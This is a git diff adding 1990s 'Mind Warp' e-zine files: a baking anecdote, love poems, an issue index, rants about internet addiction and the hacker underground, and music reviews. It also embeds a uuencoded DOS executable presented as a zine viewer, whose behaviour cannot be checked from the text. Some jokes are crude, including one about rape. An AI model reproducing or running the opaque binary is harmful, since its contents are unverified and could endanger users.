bake. Needless to say, I left unmistakeable +signs (as usual, which is yet another story) that I had been in the kitchen. +Later, I'll go into detail about my popularity in that regard. + Without the recipies, I went ahead and started to bake away. I called Dad +and asked him to read me the recipe cards. He only found the temperature for +the Lace cookies and he didn't give me the specifics on spacing and sizieng +of the cookie drops. So, I went ahead and plopped 'um on the parchment paper +as Mom suggested. First of all, Sara didn't have a timer, or a clock for +that matter (not to rationalize), in the facinity. The first batch burnt +quite nicely and they all spread becomming one massive cookie blob. I +thought perhaps I ought to rename them; at least this year's supply: + +Here, have some festive treats.... I baked some of Mom's traditional feast!!! + + Meg's Lace Mosaic + Lace cookies? Oh no, it's a lovely Lace Bake! + It's crinkly and crumbly, toasted just right + --a fine golden brown crisp-- + A colorful mosaic of buttery brown hues, + From a lovely light tan to a deep dark black. + Lace cookies? Heavens no! + I've baked Mom's rich dough, into + Beautifully laced, + Burnt, Buttery, Crap! + + +============================================================================== + Call Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== + diff --git a/textfiles.com/magazines/MINDWARP/mw-077.txt b/textfiles.com/magazines/MINDWARP/mw-077.txt new file mode 100644 index 00000000..2fef36d1 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-077.txt @@ -0,0 +1,258 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #5, Issue #06, File #077 ] + [ "Mind Warp View" by Raven ] + +------------------------------------------------------------------------------ + Mind Warp View + [raven] +------------------------------------------------------------------------------ + + (* Editor's Note [mustaine] Well, you all have been asking for one, and + Davey went ahead and coded a beta MW Viewer. I compiled it, and now + you all can try yourselves...check the documentation... *) + + +Poor programming, but what the hey.. Like put it in a directory of mindwarp +files and it finds them auotmagically, other wise, run it with a filename +(or a *.txt or *.* or whatever) as a parameter.. It can only handle files that +are less than 64000 bytes.. wheee... it'll still load a file, you just +won't be able to see more than the first 64000 bytes :) + +section 1 of 1 of file mwv.exe < uuencode 95 (v40) by R.E.M. > + +begin 644 mwv.exe +M35I@`1,`0@`3`#,$,Z1V`@!````.!0``'`````D````A````.@```$@```!K +M````B@```*D```#'````\0````D!``"I`@``N@(``+\#``#7`P``[P,``*<$ +M```1!0``%@4``"$%```W!0``1`4``$D%``!.!0``4P4``&H%``"#!0``B`4` +M`(T%``"4!0``I04``+,%``#,!0``VP4``.,%``#H!0``[04``/4%```$!@`` +M$`8``"D&``!"!@``?`8``(H&``"/!@``JP8``+`&``"Z!@``OP8``"<'```[ +M!P``3`<``%T'``!F!P``<`<``'H'```)`'@`)`!X`#<`>``[`7@``0#I`!L! +MZ0!S!>D`>POI`)8+Z0"L"^D`RPOI`````````````````%6)Y;@4`)HP!>D` +M@^P4QD;M`\9&[P"P$%"-?NP65YJ'`-H`BD;Q-""(1O'&1NT!L!!0C7[L%E>: +MAP#:`(GL7<-5B>4QP)HP!>D`'HM&!([`BT8&CM@Q]C'_N=`'\Z4?7<($`%6) +MY3'`FC`%Z0`&N=`'CD8&,?^P`(IF!/.K!UW"!`!5B>4QP)HP!>D`!KG_?XY& +M!C'_BD8$B,3SJP==P@0`58GE,<":,`7I``:Y@#Z.1@0Q_[C_^O.K!UW"`@!5 +MB>6X"`":,`7I`(/L"*#8"8A&^_\V)@FP!U#HA_^_`@`>5Z$F"5`Q_P<&5[C@ +M`5":+0SI`+_B`1Y7H28)4+\`#P<&5[B@`%":+0SI`*$F"5"_!0\')L8%!Z$F +M"5"_!`\')L8%6Z$F"5"*1OLPY-'@!04/0$"+^``% +M!`]`0(OX!R;&!5V*1OLPY(E&^+@!`#M&^'=HHQX)ZP3_!AX)@SX>"0%U#J$F +M"5"_!P\')L8%"NLH@SX>"0)U#J$F"5"_"0\')L8%`NL3H28)4*$>"='@!04/ +MB_@')L8%"(L^'@F*E=@)H28)4*$>"='@!00/B_@')H@5H1X).T;X=9TQP*,> +M">L$_P8>":$D"5"A+`E(`P8>"='@B_@')HL%B4;\,<"C(`DQP*,B":$H"5"+ +M1OP#!B()B_@')H`]"74+H2`)!0@`HR`)ZUNA*`E0BT;\`P8B"8OX!R:`/0IT +M1Z$H"5"+1OP#!B()B_@')H`]#70SH2@)4(M&_`,&(@F+^`"+R*$>"04#`+J@`/?B`\&+^`A*`E0BT;\ +M`P8B"8OX!R:`/0IT`^ED_X,^'@D4=`/I-?__-B8)N`"X4.B:_9H:`W@`B$;_ +M@'[_`'0#Z?4!FAH#>`"(1O^`?O](=16#/BP)`78.@SXN"11V!_\.+`GIT@&` +M?O]0=1JA+@DM%``[!BP)=@Z#/BX)%'8'_P8L">FR`8!^_TEU*8,^+`D!=B*# +M/BX)%'8;@SXL"19S",<&+`D!`.L)H2P)+14`HRP)Z8,!@'[_474YH2X)+10` +M.P8L"78M@SXN"11V)J$N"2T5`"T4`#L&+`ES"Z$N"2T4`*,L">L)H2P)!14` +MHRP)Z40!@'[_1W40@SXN"11V"<<&+`D!`.DN`8!^_T]U$X,^+@D4=@RA+@DM +M%`"C+`GI%0&`?O\[=`/I#`'_-B8)L`=0Z+G\OP(`'E>A)@E0,?\'!E>XX`%0 +MFBT,Z0"_X@$>5Z$F"5"_``\'!E>XH`!0FBT,Z0"_@@(>5Z$F"5"_8`0'!E>X +M0`90FBT,Z0"A)@E0OP4/!R;&!0>A)@E0OP0/!R;&!5NA)@E0OPA)@E0OQ`/!R;&!5W_-B8) +MN`"X4.B<^YH:`W@`B$;_@'[_&W0#Z1W\B>Q=PQ=-5U8@+2!-:6YD(%=A'0^$R`@1FEL92!N;W0@9F]U;F0@.B":``#I`)H-`'@`58GEN``!FC`%Z0"! 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Love Poems" by Mustaine ] + +------------------------------------------------------------------------------ + Misc. Love Poems + [mustaine] +------------------------------------------------------------------------------ + +Numero Uno ( I hate Spanish ) + + Spring is coming + and so are the flowers. + You look very beautiful, + in and OUT of showers. + + PMS sucks, + but it goes away. + I will still love ya, + and..I'm here to stay. + + Have a great day, + I hope you can read this handwritin' + Maybe if you feel OK, + we can go moonlightin' + + Copyright (c) Mustaine 1996 + +Number Two (English rules) + + Articles + + not enough + writers + damn it + + Showers + + not enough + time + damn it + + Toothpaste + + not enough + flavors + damn it + + Flowers + + not enough + money + damn it + + Colors + + not enough + crayons + damn it + + Lovers + + not enough + whoopie + damn it + + it's TIME WRITERS had different FLAVORS for their CRAYONS + then maybe they would have TIME to make WHOOPIE + or maybe they would have some MONEY with different COLORS + damn it + + Copyright (c) Mustaine 1996 + +============================================================================== + Call Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-079.txt b/textfiles.com/magazines/MINDWARP/mw-079.txt new file mode 100644 index 00000000..3872b658 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-079.txt @@ -0,0 +1,221 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #5, Issue #08, File #079 ] + [ "Mind Warp! Index #6" by Mustaine ] + +------------------------------------------------------------------------------ + Mind Warp! Index #6 + [mustaine] +------------------------------------------------------------------------------ + + Yeah, yeah..it's short. You want more Mind Warp? Give us articles. +Next issue will have MY music reviews...I didn't have time to finish them. +Got two new writers...check em out. Raven is back...did you get my tee-shirt +buddy? BTW- Mind Warp Tee-Shirts! E-Mail Mustaine for info...REAL CHEAP. +Two new writers, Squid, and Ninja-Man Bob. Welcome them with open arms. + +Credits: +('!' denotes that they wrote for this volume, '*' denotes that they're a new + writer and have written for this volume (obviously)) +------------------------------------------------------------------------------ + [!] Raven : Writer / Editor / Hemp GOD + [ ] Catwoman : Writer / Editor / Proofreader + [!] Mustaine : Writer / Editor / (wierd) k-rad d00d + [ ] Dark Horse : Writer (Poet) / Editor + [ ] Buckwheat : Writer (O-TAY!) + [ ] Deker : Writer (Poet) + [ ] Slartibartfast : Writer (whoa) + [ ] Angst : Writer (in blue) + [ ] Killer Wombat : Writer (freak) + [ ] Javert (PRiDE) : Writer (Poet) + [*] Squid : Writer (Poet) + [*] Ninja-Man Bob : Writer (Critic) + +------------------------------------------------------------------------------ + + +Index: ( '*' Indicates that the file is new to this Volume ) +------------------------------------------------------------------------------ +Filename Topic/Title Author Volume Issue Filesize +------------------------------------------------------------------------------ +MW!-000.TXT "Introduction to Mind Warp!" Raven #0 #0 2.5k +MW!-001.TXT "Disturbing Thoughts" Raven #0 #1 6.9k +MW!-002.TXT "Untitled Poem" Mustaine #0 #2 2.6k +MW!-003.TXT "School Phun #1" Raven #0 #3 7.1k +MW!-004.TXT "Music Review: #1" Mustaine #0 #4 4.9k +MW!-005.TXT "Technology: The Man.." Raven #0 #5 4.1k +MW!-006.TXT "Music Review: #2" Mustaine #0 #6 5.7k +MW!-007.TXT "Cruelty to Animals" Raven #0 #7 4.3k +MW!-008.TXT "Network Hacking #1/2" Mustaine #0 #8 22.0k +MW!-009.TXT "Network Hacking #2/2" Mustaine #0 #9 10.2k +MW!-010.TXT "Mind Warp! Index #1" Raven #0 #10 4.7k +MW!-011.TXT "Phone Death" Raven #1 #0 6.7k +MW!-012.TXT "STUPIDRV.EXE" Mustaine #1 #1 13.1k +MW!-013.TXT "Class Voting" Raven/Catwoman #1 #2 2.9k +MW!-014.TXT "Music Review: #3" Mustaine #1 #3 8.7k +MW!-015.TXT "Misc. Poetry" Dark Horse #1 #4 4.8k +MW!-016.TXT "Editorial" Mustaine #1 #5 4.4k +MW!-017.TXT "A NEW Crime Bill" Raven #1 #6 5.1k +MW!-018.TXT "Kids...They Suck." Mustaine #1 #7 6.2k +MW!-019.TXT "Untitled Poem" Dark Horse #1 #8 2.2k +MW!-020.TXT "Phun with Snot" Mustaine #1 #9 5.4k +MW!-021.TXT "The World's Suckiest Jobs" Catwoman/Raven #1 #10 3.6k +MW!-022.TXT "Philosophical Wonderings" Buckwheat #1 #11 4.5k +MW!-023.TXT "Lion King Review" Mustaine #1 #12 4.5k +MW!-024.TXT "Summer" Buckwheat #1 #13 2.9k +MW!-025.TXT "Music Review: #4" Mustaine #1 #14 6.6k +MW!-026.TXT "Mind Warp! Index #2" Raven #1 #15 7.9k +MW!-027.TXT "The BLOND Virus" Mustaine #2 #0 4.0k +MW!-028.TXT "Lighter Tricks" Raven #2 #1 5.3k +MW!-029.TXT "Driving Grievances" Slartibartfast #2 #2 2.9k +MW!-030.TXT "Untitled Poem" Deker #2 #3 2.8k +MW!-031.TXT "Letter to Bozak" Mustaine #2 #4 3.3k +MW!-032.TXT "Race" Slartibartfast #2 #5 3.4k +MW!-033.TXT "Wild Walk" >Anonymous< #2 #6 4.8k +MW!-034.TXT "School Phun #2" Raven #2 #7 6.4k +MW!-035.TXT "The DAVE Continuum" Slartibartfast #2 #8 3.3k +MW!-036.TXT "Misc. Poetry" Mustaine #2 #9 4.5k +MW!-037.TXT "Labels Galore" Raven #2 #10 4.3k +MW!-038.TXT "Untitled Poem (#2)" Deker #2 #11 1.9k +MW!-039.TXT "What happened to Musty?!" Mustaine #2 #12 3.4k +MW!-040.TXT "Mind Warp! Index #3" Raven #2 #13 10.0k +MW!-041.TXT "Music Review: #5" Mustaine #3 #0 6.9k +MW!-042.TXT "wop wop" Angst #3 #1 5.8k +MW!-043.TXT "Musty's College Thang" Mustaine #3 #2 12.0k +MW!-044.TXT "Rock the Cradle" Mustaine #3 #3 2.5k +MW!-045.TXT "Stereograms" Raven #3 #4 3.7k +MW!-046.TXT "The Mustaine Continuum" Mustaine #3 #5 4.5k +MW!-047.TXT "..End of the World.." Killer Wombat #3 #6 5.6k +MW!-048.TXT "Music Review: #6" Mustaine #3 #7 5.9k +MW!-049.TXT "Musty Flames People #1" Mustaine #3 #8 7.7k +MW!-050.TXT "X-Men (Poem)" Angst #3 #9 1.9k +MW!-051.TXT "Roomates" Mustaine #3 #10 4.3k +MW!-052.TXT "Top Ten Lists" Mustaine #3 #11 3.7k +MW!-053.TXT "Friends" Mustaine #3 #12 6.2k +MW!-054.TXT "Mind Warp! Index #4" Raven #3 #13 12.6k +MW!-055.TXT "That Wonderful, Awfull.." Dark Horse #4 #0 2.8k +MW!-056.TXT "Sheep & Wool" Pride #4 #1 2.2k +MW!-057.TXT "Poems for Alyson" Dark Horse #4 #2 4.1k +MW!-058.TXT "Music Review: #7" Mustaine #4 #3 8.4k +MW!-059.TXT "Sleazy" Pride #4 #4 2.1k +MW!-060.TXT "Adventures in the Potty" Mustaine #4 #5 8.3k +MW!-061.TXT "OOPS.ZIP" Mustaine #4 #6 7.8k +MW!-062.TXT "Compression Utilities" >Anonymous< #4 #7 5.1k +MW!-063.TXT "Midnight Blues - 1st Solo" Dark Horse #4 #8 7.2k +MW!-064.TXT "Smurfs & Chicks" Various #4 #9 10.1k +MW!-065.TXT "Misc. Poetry" Pride #4 #10 4.3k +MW!-066.TXT "Flame Response" Mustaine #4 #11 4.8k +MW!-067.TXT "Musty Flames People #2" Mustaine #4 #12 5.4k +MW!-068.TXT "Where's Raven?" Mustaine #4 #13 2.9k +MW!-069.TXT "huh 69 huh" >Anonymous< #4 #14 8.7k +MW!-070.TXT "Mind Warp! Index #5" Mustaine #4 #15 13.1k +MW!-071.TXT * "What the Hell???" Mustaine #5 #0 3.2k +MW!-072.TXT * "American Folk Stories..." Raven #5 #1 4.6k +MW!-073.TXT * "Egypt Air 1996" Mustaine #5 #2 4.5k +MW!-074.TXT * "New Hangun Application" Raven #5 #3 3.4k +MW!-075.TXT * "Music" NMB #5 #4 5.1k +MW!-076.TXT * "Squid's Poem" Squid #5 #5 3.2k +MW!-077.TXT * "Mind Warp View" Raven #5 #6 15.3k +MW!-078.TXT * "Misc. Love Poems" Mustaine #5 #7 2.5k +MW!-079.TXT * "Mind Warp! Index #6" Mustaine #5 #8 13.3k + +------------------------------------------------------------------------------ + +Submitting a File: + Please feel free to submit anything you can. We are always greatful +for your work, and we publish most anything! Send your files to one +of the addresses below, or call one of the BBSs below, and upload it there. + + The following *was* the Mind Warp! PGP key. It isn't required that +you encrypt your mail or your submissions, but it would be greatly appreciated +if you would encrypt all submissions, and if possible encrypt any other mail, +even if it's not an important piece of mail, it's still nice to show support +for public encryption (Die, Clipper Chip, DIE!). + +-----BEGIN PGP PUBLIC KEY BLOCK----- +Version: 2.5 + +mQBtAi4Ez5EAAAEDAKjwhkGmSpWun8GDK2c3+VFfQrYzufsWo9q8ARuQyz2wj1Ub +RygEgk8j3lJMBto8rQ1H5aCLK8gFW+4n5Vx+7SvGyu+xxM2mOWuLm2oruF8P8fbk +aDUQwF+Lbts+ubkRiQAFEbQKTWluZCBXYXJwIQ== +=CGZF +-----END PGP PUBLIC KEY BLOCK----- + +(* We lost PGP, look for a new key to come soon *) + +Mind Warp! FTP/GOPHER/WWW Sites!: +------------------------------------------------------------------------------ + FTP : etext.archive.umich.edu /pub/Zines/Mindwarp + Gopher : //locust.cic.net/11/Zines/Mindwarp + //etext.archive.umich.edu/11/Zines/Mindwarp + WWW : http://www.wam.umd.edu/~johahn + http://www.wam.umd.edu/~mustaine +------------------------------------------------------------------------------ + + +Mind Warp! Funky Fresh Distro. BBSs: +------------------------------------------------------------------------------ +Name Number/Baud SysOp +------------------------------------------------------------------------------ +Omniverse 301-718-0225 14.4k Dark Horse +Hell's Kitchen 301-989-8510 28.8k Hell Raiser +------------------------------------------------------------------------------ +Please! We need more bbs's (especially out of the 301 area code!)! Send +mail to one of the listed addresses if you would like to be one, there aren't +any strange requirements, except that you run a BBS. + + +Mind Warp! E-mail Addresses: +------------------------------------------------------------------------------ +mustaine@wam.umd.edu (Mustaine) +raven96@hic.net (Raven) +qu@wam.umd.edu (Squid) +ninjaman@apo.com (Ninja-Man Bob) +sjg@metnet.epflbalto.org (Ninja-Man Bob) +------------------------------------------------------------------------------ +(To other Mind Warp! Contributers, just yell if you want your address up + there, and be sure to tell me what it is. :) + + +Also check out these fine electronic zines (Obligatory Plugs :) : +------------------------------------------------------------------------------ +Name Editor +------------------------------------------------------------------------------ +Underground eXperts United (uXu) - The Chief +Helter Skelter (Digital Version) - Dark Horse +------------------------------------------------------------------------------ +(Both available at etext.archive.umich.edu) + + Please send all of your Mustaine Hate Mail to either address as well. +We know you want to send it. Hate mail will be sent to him, and it will be +published (with a reply) in a future issue. :) + +** New ** + Distribution Info: Because we started getting complaints, the +distribution information has been updated, and most likely will NOT be +changed again. Please, we emplore you to distribute these articles all +you want, but just keep the files in the format of MW!-XXX.TXT where XXX is +a file number that is *already* on there. Most often these files will be +archived by volume, and we ask you to also keep it in the same format, which +as of now will be MW_XXXX.AAA, where XXXX is the volume number, and AAA is +the default archive extension (ex. ZIP,ARC,ZOO,LZH,ARJ,UC2, etc...). These +files are *copyrighted*, and we ask that you do *not* reproduce, whether in +whole or part, any of the material without first recieving consent from the +*original* author. + +- Raven & Mustaine + +============================================================================== + Call Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-080.txt b/textfiles.com/magazines/MINDWARP/mw-080.txt new file mode 100644 index 00000000..457a22f1 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-080.txt @@ -0,0 +1,128 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #6, Issue #00, File #80 ] + [ "Surfing the Night Away" by Mustaine ] + +------------------------------------------------------------------------------ + Surfing the Night Away + [mustaine] +------------------------------------------------------------------------------ + + It's three in the morning on a colder than average spring day. The +screen in front of Joe Schmoe is refreshing faster than the human eye will +ever be able to see without the aid of technology. The modem that is +attatched to the computer Joe is using is humming gently, and there is no +one else around. + Joe is in the University Computer Lab, staring at a several +simultaneous windows open on his desktop. One screen shows a IRC channel +scrolling away with hundreds of people trying to get a word in about the +topic "WAREZ." Another shows a web page, with 4,000 different shareware +games ready to be downloaded. Yet another has a e-mail program flashing +news that 4 new mail items have appeared in the inbox. Further still, +there are windows open with a word processor with a half typed report, +a multi-user dungeon game, and lastly, there's a window with a report from +a znol (zephnr utility) search of online people matching an .anyone file. +Joe's eyes are cracked red with blood, and he stares in a manner not unlike +a truck driver that has been on a anti-sleep pill for over 48 hours. + In another three hours, Joe will rip himself from the computer, +catch a dougnut at the University Cafeteria, and finally collapse into +slumber in the back of a lecture hall for his 8:00 class. + + * Insert Mustaine's bitching here... * + (Like you didn't know it was coming! Pa-LEEZ) + + Sounds pretty sick huh? Sounds like a real loser huh? Sounds like +one of those f*cked up nerd geeks that the local news channels run internet +specials on every month, right? AM I CLOSE PEOPLE? + Well, let me tell you how close I am. (And you know I'm close.) +Take out the "..nerd geeks.." part, and insert AVERAGE COLLEGE STUDENT, and +the above statement was extremely valid. So valid it makes me sick. + People these days are discovering something wonderful that has been +emerging over the last few years as a new frontier for mankind. Of course, +I'm talking about the internet. Yes, the wonderful internet, where you can +do almost everything...EVEN SEX in a manner... without ever leaving the +comfort of your rocking chair. Of course, I've been told cybersex usually +includes one hand OFF the keyboard, BUT DON'T ASK ME. I abstain, thank you. + In this discovering, they are also becoming addicted. And it's not +too hard, either. There are so many things available, so many things at +a "instant gratification" level, that the internet is like a drug. A very +legal drug too. Taken in small doses, I can see this drug as usefull, a +learning experience, even a step forward for mankind. Overabused, and it +will turn the average person into a sniveling, sleepless zombie who has +no f*cking clue what is going on in the real world. + Wake up people. Go read a book, take a walk, or hang out with +friends. F*ck with the people at McDonald's, or write your President hate +mail...USING SNAIL MAIL... Drink soda, exercise for twenty minutes, play +with furry animals. DO SOMETHING. But please, turn off the computer and +do a reality check. Do you need a new to be sitting at a screen for HOURS +and HOURS? Do you need that new shareware utility the SECOND it comes out? +Do you have to check e-mail every five minutes? + GO. NOW. AND DON'T COME BACK UNTIL YOU DO A REALITY CHECK. + + + + + + la la de la la la, la de la la la. + la la de la la la, la de la la la. + + + + + + Papa Smurf ate Smurfette every night. + (the question is: sweet or sour?) + + + + + la la de la la la, la de la la la + la la de la la la, la de la la la. + + + + + + + + + + + (If your still reading this, your one of the f*cking losers I was talking + about when I wrote this. Go rent a clue, and get the f*ck off the + computer.) + + + + Handy smurf did himself, and Brainy smurf created a VMRL smurf + image to get off with. + + + + + + + la la de la la la, la de la la la + la la de la la la, la de la la la + + + + + Musty Smurf has a girlfriend. He is tied up with a lot of + school crap. Musty Smurf needs more writers, la de la la la. + + +============================================================================== + Call Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-081.txt b/textfiles.com/magazines/MINDWARP/mw-081.txt new file mode 100644 index 00000000..8b2ba446 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-081.txt @@ -0,0 +1,89 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #6, Issue #01, File #81 ] + [ "Chronicles of Influenza" by Mustaine ] + +------------------------------------------------------------------------------ + Chronicles of Influenza + [mustaine] +------------------------------------------------------------------------------ + + Sick as it may seem, at the time of this writing, if you were to +use the finger option on your internet service provider, and do a finger +of mustaine@wam.umd.edu, you would recieve current information on my account, +as well as my real name, phone number on where to reach me, mail adress to +contact me, as well as a quote from the "Chronicles of Influenza." + The "Chronicles of Influenza" are a collection of my own thoughts +concering the computer underground. If you will, it is my own personal +Testament to the Underground. There is only one. It is by no means in +a state of completion, nor do I wish it ever do be so. It is changed, +revised, updated, as I wish. + What in the world am I talking about, some may ask? Does this +article have direction, or am I rambling? I am forced to ask myself that +question to myself. The answer is subjective. This article exists, such +as a dance might exist. It is here now, and it's interpretation will +exist, in it's own form, by whoever reads this article. The words will +always be the same, much as the movements of a dance can always be repeated, +but their meaning...their essence, will differ with each reading, or by +each viewing. Take now, these few excerpts from my own personal Chronicles. +Read them, take them for what they are, and use them if need be. I only +refer to their essence. Copyright infringements will occur if that statement +is taken literally. + + ..on groups.. + It's funny how there exist groups inside the underground. Whether they +be hackers, or phreakers, or even those funky art coders, there are always +groups. Warez couriers simply couldn't exist without the concept. They +always take care of their own as well. Of course, backstabbing occurs, +such is the life in any aspect of life. But aside from that unpleasent +abnormality, a bonding not unlike a clanship, or blood brothers, exists. + I suggest groups are a necessary form of survival inside the +underground. What good is information learned if it is lost with the +induvidual? In small masses, the information is distributed to a larger +populous. Thus the survival of the information is given a larger chance. +There are no secrets worth keeping in the underground. + + ..on time.. + Time is too precious to live inside the underground. Their is life +outside the eliteness of your computer. To exist inside the underground +just to exist, is to further nothingness. Insights are always better when +they are brought from a new perspective. What new ideas come from the same +group of induviduals? New experiences lead way to new thoughts. Stagnation +is the root of all things boring. I hate boring. + + ..on documentation.. + Necessary, and yet at the same time dated. By the time this is +written, the moment is over. The secret is out. The patch is made, and +the sytem scrambles to adjust. Make way for technology...you can't make it +stop by writing it down. + + ..on the "a" in hpacv.. + An organization to purport anarchy stops itself. The heart of the +ideal is exterminated by the body that forms it. + + ..on intelligence.. + Not all understand. Not all were meant too. But EVERYONE is +welcome the attempt. The underground may be exclusinary by it's own goals, +but the right of exclusion is not up for human opinion to decide. Actions +speak louder than councils, leaders, and ceo's. Intelligence and will are +the mother of sucess. + + Remember, take what you have read, and use what you will. There is +always more where the mind thinks, and there is always more where the mind +does not think. Time is cruel that way. It will never stop and reflect. +It will on progress, evolve, and exist. + +============================================================================== + E-Mail mustaine@wam.umd.edu to become a distributor! +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-082.txt b/textfiles.com/magazines/MINDWARP/mw-082.txt new file mode 100644 index 00000000..06ea90ff --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-082.txt @@ -0,0 +1,35 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #6, Issue #02, File #82 ] + [ "Angry Thoughts" by Mustaine ] + +------------------------------------------------------------------------------ + Angry Thoughts + [mustaine] +------------------------------------------------------------------------------ + + Brooding, I wait. + Fear, tell it to abate. + + I WANT TO HEAR COLOR. + I WANT TO DRINK NOISE. + I WANT TO EAT LOVE. + + I fear playing...with toys. + + If we could SEE without EMOTION, would we be human? + +============================================================================== + E-Mail mustaine@wam.umd.edu to become a distributor! +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-083.txt b/textfiles.com/magazines/MINDWARP/mw-083.txt new file mode 100644 index 00000000..136f453b --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-083.txt @@ -0,0 +1,125 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #6, Issue #03, File #83 ] + [ "Music Review: #8" by Mustaine ] + +------------------------------------------------------------------------------ + Music Review: #8 + [mustaine] +------------------------------------------------------------------------------ + + Mustaine's Music Scale + (revised 05/01/95) + + 0) Sucks!!! 6) Gettin' there... + 1) Bites!!! 7) Kewl..sorta + 2) Eww!!! 8) Yo! I can dig this stuff! + 3) Crap!!! 9) Woo! Play some more... + 4) Blah, Blah... 10) Incredibly Spiffy! + 5) Not half bad, but crap.. 11) Has to be by Dream Theater? + + Wow. It's been a while since I have been able to review any music. +Thanks to my wonderful girlfriend however, I beleive I have enough new +material to do a great couple of reviews in the next few volumes. Today +though, I am going to do some oldies, but goodies! Watch for Dream Theater, +Stabbing Westward, and some Enya on the next volume. Today we do Journey, +Pet Shop Boys, and Corey Hart. + + ----------------------------------------------------------------------- + +Band #1 +Name : Journey +Album : Greatest Hits +Info. : Holy Smurfette in a G-String Batman! This album kicks serious ass. + This almbum rocks so much, it should come with a warning label - + not for the faint of heart. Ballads, and smash hits, this is one + of those "buy it now, and keep it forever albums." Do it, or + my dog will rape you. + + + 1) Only the Young (10) + 2) Don't Stop Believeing (9) + 3) Wheel in the Sky (9) + 4) Faithfully (10) + 5) I'll Be Alright Without You (9) + 6) Any Way You Want It (10) + 7) Ask the Lonely (10) + 8) Who's Crying Now (9) + 9) Seperate Ways (Worlds Apart) (10) + 10) Lights (10) + 11) Lovin;Touchin;Squeezin' (10) + 12) Open Arms (10) + 13) Girl Can't Help It (8) + 14) Send Her My Love (10) + 15) Be Good To Yourself (10) + + +Band #2 +Name : Pet Shop Boys +Album : Discography +Info. : Ok, so maybe they are a little funny. Maybe they date amongst + themselves. Maybe, maybe, they wear a teeny weeny yeller poka- + dotted buhkeeeeeeeni in their sleep. But they can make damn good + pop music. BUY BUY BUY BUY BUY. + + Disc #1 + + 1) West End Girls (9) + 2) Love comes quickly (9) + 3) Opportunities (let's make lots of money) (9) + 4) Suburbia (9) + 5) It's a sin (9) + 6) What have I done to deserve this? (9) + 7) Rent (9) + 8) Always on my mind (9) + 9) Heart (9) + 10) Domino Dancing (9) + 11) Left to my own devices (9) + 12) It's alright (9) + 13) So hard (9) + 14) Beign boring (9) + 15) Where the streets have no name (9) + (I can't take my eyes off you) + 16) Jealousy (9) + 17) DJ Culture (9) + 18) Was it worth it (9) + +Band #3 +Name : Corey Hart +Album : The Singles +Info. : I wear my sunglasses at night so I can, so I can... Ok, so + maybe this is old. Maybe most of the songs suck. BUT IT HAS + TWO COOL ONES DAMMIT! Wear your sunglasses at night, or I'll + dress you up, and have my dog take you to a high school prom. + + 1) in your soul (1) + 2) a little love (1) + 3) sunglasses at night (9) + 4) everything in my heart (1) + 5) never surrender (9) + 6) don't take me to the racetrack (1) + 7) eurasian eyes (1) + 8) can't help falling in love (1) + 9) bang!(starting over) (1) + 10) boy in the box (1) + 11) take my heart (1) + 12) spot you in a coalmine (1) + 13) it ain't enough (1) + 14) i am by your side (1) + 15) chase the sun (1) + + +============================================================================== + E-Mail mustaine@wam.umd.edu to become a distributor! +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-084.txt b/textfiles.com/magazines/MINDWARP/mw-084.txt new file mode 100644 index 00000000..272e949b --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-084.txt @@ -0,0 +1,41 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% 